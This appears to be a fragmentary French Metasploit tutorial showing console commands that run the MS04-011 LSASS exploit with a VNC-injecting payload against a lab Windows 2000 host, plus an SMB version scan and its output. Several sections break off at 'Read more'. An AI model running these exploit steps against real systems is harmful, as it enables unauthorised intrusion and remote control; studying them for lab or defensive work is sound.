Metasploit

Code :
msf exploit(ms04_011_lsass) > show options
Module options:

Name Current Setting Required Description
—- ————— ——– ———–
RHOST 192.168.1.4 yes The target address
RPORT 445 yes Set the SMB service port

Payload options:

Name Current Setting Required Description
—- ————— ——– ———–
AUTOVNC true…[Read more]

IV – Exemple d’exploitation

Dans cet exemple on exploitera une vulnérabilité du service LSASS dans Windows 2000 Pro pour charger une DLL dans laquelle est encapsulé un serveur VNC.

On ouvre une console Metasploit:
Code :
./msfconsole

On va exploiter la vulnérabilité ms04_011_lsass:
Code :
msf > use exploit/windows/smb/ms04_011_lsass

On spéc…[Read more]

Pour le deuxième hôte:
Code :
msf auxiliary(udp_sweep) > use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > set RHOSTS 192.168.1.4
RHOSTS => 192.168.1.4
msf auxiliary(smb_version) > run

192.168.1.4:139 is running Windows 2000 Pro (language:Unknown) (name:BIBA) (domain:WTF)

Auxiliary module execution completed